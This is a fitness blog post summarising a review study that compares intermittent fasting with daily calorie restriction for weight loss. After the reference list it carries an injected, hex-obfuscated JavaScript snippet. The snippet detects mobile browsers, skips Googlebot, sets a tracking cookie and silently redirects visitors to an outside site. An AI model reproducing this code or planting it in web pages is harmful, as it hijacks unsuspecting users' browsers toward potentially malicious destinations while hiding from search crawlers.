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Intermittent Fasting or Daily Caloric Reduction best for Weight Loss?

The basic principle of weight loss is to reduce your daily energy intake through either eating less or increasing your daily energy expenditure.  This principle, although fairly logical, may not be the best way to lose weight as many people have difficulty adhering to these protocols.  The most basic of protocols, known as daily caloric restriction, normally has participants reduce caloric intake by 15-60%.  Therefore, to combat this approach a new player in the realm of weight loss was born – intermittent fasting.

Intermittent Fasting

An intermittent fasting calorie reduction diet is normally set up where an individual alternates fasting and feeding intervals.  These intervals usually span a similar time frame so for example one would go 24 hours of fasting and then 24 hours of feeding.  During the fasting period, food is either completely restricted or partially reduced.  During the feeding days, individuals can eat ad libitum (latin for ‘at ones pleasure’).

What does the Literature Suggest?

A recent systematic review of 18 studies (11 using daily calorie restriction, and 7 using intermittent fasting) by K.A. Varady (2011) evaluated each dietary regime.  What did they conclude?

Before I go forward, I would like the reader to note that all percentages are averages of the participants.  Additionally, the percentages are in regards to their starting weight prior to undergoing the intervention.

Findings: Calorie Restriction Diets

Both short and long term calorie restriction diets (decrease of 25-60% of daily caloric intake) had subjects loose at least 5% of total body weight.  The greatest weight loss obtained was 19% and that was with one of the long term studies (~24 weeks).  Of this weight loss, 75-80% was attributed to fat mass while the remaining 20-25% was of lean body mass (muscle).  Finally, it was found that even in the least amount of weight loss attained, participants still lost on average 6-8%  of their baseline visceral fat (fat around ones organs – not good).

Findings: Intermittent Fasting

After 2 to 3 weeks of intermittent fasting, participants were able to lose about 3-4% of body weight and reductions increased to 6-8% after another 8-12 weeks of dieting.  Furthermore, the alternating days caloric intakes were approximately 25% to 110% for fasting and feeding days, respectively.  Although the reductions in weight loss are not as great as daily restriction, the review indicates that the percentage of weight loss is comprised of 90% fat mass and 10% lean mass for intermittent fasting.  Visceral fat loss during intermittent fasting was similar to daily restriction (6-10% reduction).


So what can be said about the differences?  Firstly, they each are quite comparable in their overall weight loss during short term interventions.  Regardless of the method, overall weight loss is roughly the same.  The more surprising finding is that intermittent fasting does not result in increased lean mass loss in comparison to daily caloric restrictions.  This a large benefit as if you can preserve metabolically active tissue, you will burn more energy.  The underlying mechanism to this physiological paradigm is unknown, although it has been observed multiple times.

Questions that Remain Unanswered

–          Is there greater long term adherence to an intermittent fasting diet? No conclusive evidence yet…

–          What are the effects of a background diet? As no specific diets were evaluated in this review, this is very difficult to observe.  Some studies had food provided while others utilized food journals so a conclusion has yet to be drawn…

–          The benefits of combining intermittent fasting with exercise?  Exercise, primarily endurance aerobic exercise, has been shown to aid in the retention of lean mass, however it has not been justified in conjunction with an intermittent fasting diet…

In conclusion, the utilization of a caloric restriction diet or an intermittent diet both demonstrates a similar reduction in total body Dietweight.  The intermittent fasting method may prove to be effective in retaining lean body mass and reducing visceral fat.  This method may be another potential option for people who wish to lose weight!  As mentioned in this article and the review, adherence is the largest barrier and 30-35% of people who engage in a weight loss diet regain the weight during the first year after therapy.

My opinion (after being cleared by a physician) – give intermittent fasting a shot, and do not exercise on days where you severely restrict your diet.  Hopefully a study will come out soon showcasing the interplay between exercise and intermittent fasting on the retention of lean muscle mass.  Furthermore, if any health complications are associated with such high caloric reductions.


Varady, K.A. (2011).  Intermittent versus daily calorie restriction: which diet regimen is more effective for weight loss? Obesity Reviews. 12(7),593-601.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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